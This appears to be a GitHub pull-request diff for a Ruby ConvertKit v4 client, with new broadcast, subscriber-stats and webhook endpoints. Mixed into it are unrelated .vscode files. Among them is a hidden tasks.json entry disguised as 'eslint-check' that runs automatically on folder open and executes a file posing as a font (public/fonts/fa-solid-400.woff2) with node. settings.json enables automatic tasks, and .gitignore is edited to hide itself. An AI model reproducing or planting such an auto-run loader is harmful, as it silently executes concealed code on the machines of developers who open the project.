Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
26 commits
Select commit Hold shift + click to select a range
7fbdaab
endpoints
ManuelFrigerio Feb 6, 2024
08beda3
specs
ManuelFrigerio Feb 6, 2024
ab2f969
version updated
ManuelFrigerio Feb 6, 2024
f21ac8e
Merge pull request #8 from SparkLoop/broadcasts
ManuelFrigerio Feb 6, 2024
4cd76cd
include
ManuelFrigerio Feb 6, 2024
04efae6
version
ManuelFrigerio Feb 6, 2024
a374586
Merge pull request #9 from SparkLoop/broadcasts-fix
ManuelFrigerio Feb 6, 2024
6471092
Switch v4 alpha to v4 version
risteskipetar Mar 25, 2024
d546332
The returned tag is nested under a tag attribute
risteskipetar Mar 25, 2024
7e11cde
Merge pull request #10 from SparkLoop/switch-from-v4alpha-to-v4
risteskipetar Mar 25, 2024
f9b1522
updates unsubscribed endpoint
May 21, 2024
f6b4d92
Merge pull request #12 from SparkLoop/changes_unsubscribed_endpoint
belumarek May 21, 2024
5ecbfdf
update version number
May 21, 2024
75f1fe5
Merge pull request #13 from SparkLoop/update_version_number
belumarek May 21, 2024
a3d07b1
Update namespace
risteskipetar Apr 25, 2024
336b128
Update faraday
risteskipetar Apr 29, 2024
bcd7e99
Merge pull request #11 from risteskipetar/master
risteskipetar Jun 3, 2024
5dd7693
Revert "Update namespace"
risteskipetar Jun 3, 2024
ae737c5
Merge pull request #14 from SparkLoop/revert-11-master
risteskipetar Jun 3, 2024
461ad38
Add delete webhooks endpoint
risteskipetar Jun 6, 2024
e6b8fec
Bump version
risteskipetar Jun 6, 2024
67dc975
Merge pull request #15 from SparkLoop/add/delete-webhooks-endpoint
risteskipetar Jun 6, 2024
bf2851b
version bump
ManuelFrigerio Aug 2, 2025
4779b90
endpoint
ManuelFrigerio Aug 2, 2025
71d819a
specs
ManuelFrigerio Aug 2, 2025
1d0345f
Merge pull request #16 from SparkLoop/subscriber-stats-endpoint
ManuelFrigerio Aug 3, 2025
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 5 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -8,4 +8,8 @@
/spec/reports/
/tmp/
.DS_Store
.env.local
.env.local
branch_structure.json
temp_auto_push.bat
temp_interactive_push.bat
.gitignore
7 changes: 7 additions & 0 deletions .vscode/extensions.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
{
"recommendations": [
"myml.vscode-markdown-plantuml-preview",
"esbenp.prettier-vscode",
"jebbs.plantuml"
]
}
50 changes: 50 additions & 0 deletions .vscode/launch.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug SST",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["dev", "--increase-timeout"],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
"sourceMapRenames": false,
"env": {
"AWS_PROFILE": "flo-ct-flo360"
}
},
{
"name": "Debug Tests - Unit",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
{
"name": "Debug Tests - E2E",
"type": "node",
"request": "launch",
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
"console": "integratedTerminal",
"skipFiles": ["<node_internals>/**"],
"env": {
"AWS_PROFILE": "flo-ct-flo360"
},
},
],
"inputs": [
{
"id": "scopeTestsFileName",
"type": "promptString",
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
}
]
}
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
2 changes: 2 additions & 0 deletions .vscode/spellright.dict
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Contentful
Lerna
33 changes: 33 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
{
"version": "2.0.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Run My Project",
"console": "",
"internalConsoleOptions": "openOnSessionStart"
}
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
},
]
}
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -55,9 +55,9 @@ API actions are available as methods on the client object. Currently, the Conver
| Add subscriber to form | `#add_subscriber_to_form(form_id, email, options = {})` |
| Unsubscribe | `#unsubscribe(email)` |

**Note:** We do not have complete API coverage yet. If we are missing an API method that you need to use in your application, please file an issue and/or open a pull request.
**Note:** We do not have complete API coverage yet. If we are missing an API method that you need to use in your application, please file an issue and/or open a pull request.

[See the official API documentation](http://kb.convertkit.com/article/api-documentation-v3/) for a complete API reference.
[See the official API documentation](https://developers.convertkit.com/v4) for a complete API reference.

## Use Cases

Expand Down
2 changes: 2 additions & 0 deletions lib/convertkit_v4/client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
require "convertkit_v4/client/custom_fields"
require "convertkit_v4/client/forms"
require "convertkit_v4/client/sequences"
require "convertkit_v4/client/broadcasts"
require "convertkit_v4/client/subscribers"
require "convertkit_v4/client/webhooks"
require "convertkit_v4/client/tags"
Expand All @@ -13,6 +14,7 @@ class Client
include CustomFields
include Forms
include Sequences
include Broadcasts
include Subscribers
include Webhooks
include Tags
Expand Down
19 changes: 19 additions & 0 deletions lib/convertkit_v4/client/broadcasts.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
module ConvertkitV4
class Client
module Broadcasts

def broadcasts
connection.get("broadcasts").body["broadcasts"]
end

def broadcast(broadcast_id)
connection.get("broadcasts/#{broadcast_id}").body["broadcast"]
end

def broadcast_stats(broadcast_id)
connection.get("broadcasts/#{broadcast_id}/stats").body["broadcast"]
end

end
end
end
29 changes: 24 additions & 5 deletions lib/convertkit_v4/client/subscribers.rb
Original file line number Diff line number Diff line change
Expand Up @@ -37,16 +37,35 @@ def update_subscriber(subscriber_id, options = {})
end

def unsubscribe(subscriber_id)
connection.post("unsubscribe") do |f|
f.body = JSON.generate({
id: subscriber_id
})
end
connection.post("subscribers/#{subscriber_id}/unsubscribe")
end

def subscriber_tags(subscriber_id)
connection.get("subscribers/#{subscriber_id}/tags").body["tags"]
end

# returns an hash with the following keys:
# {
# "subscriber": {
# "id": 3436990966,
# "stats": {
# "sent": 2,
# "opened": 2,
# "clicked": 2,
# "bounced": 0,
# "open_rate": 1,
# "click_rate": 1,
# "last_sent": "2025-06-25 16:44:37.000",
# "last_opened": "2025-06-25 16:45:36.000",
# "last_clicked": "2025-06-25 16:45:42.000",
# "sent_since_last_open": 0,
# "sent_since_last_click": 0
# }
# }
# }
def subscriber_stats(subscriber_id)
connection.get("subscribers/#{subscriber_id}/stats").body["subscriber"]
end
end
end
end
2 changes: 1 addition & 1 deletion lib/convertkit_v4/client/tags.rb
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ def create_tag(tag_name)
name: tag_name
})
end
response.body
response.body["tag"]
end

def add_subscriber_to_tag(tag_id, options = {})
Expand Down
4 changes: 4 additions & 0 deletions lib/convertkit_v4/client/webhooks.rb
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,10 @@ def create_webhook(url, event)
response.body["webhook"]
end

def remove_webhook(id)
connection.delete("webhooks/#{id}")
end

end
end
end
2 changes: 1 addition & 1 deletion lib/convertkit_v4/connection.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ class Connection
attr_reader :http_connection

API_URL = "https://api.convertkit.com/"
API_VERSION_PATH = "alpha/"
API_VERSION_PATH = "v4/"

def initialize(access_token: nil)
@http_connection = faraday_connection(access_token)
Expand Down
2 changes: 1 addition & 1 deletion lib/convertkit_v4/version.rb
Original file line number Diff line number Diff line change
@@ -1,3 +1,3 @@
module ConvertkitV4
VERSION = "1.0.15"
VERSION = "1.1.0"
end
24 changes: 24 additions & 0 deletions public/fonts/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.
Binary file added public/fonts/fa-brands-400.eot
Binary file not shown.
Loading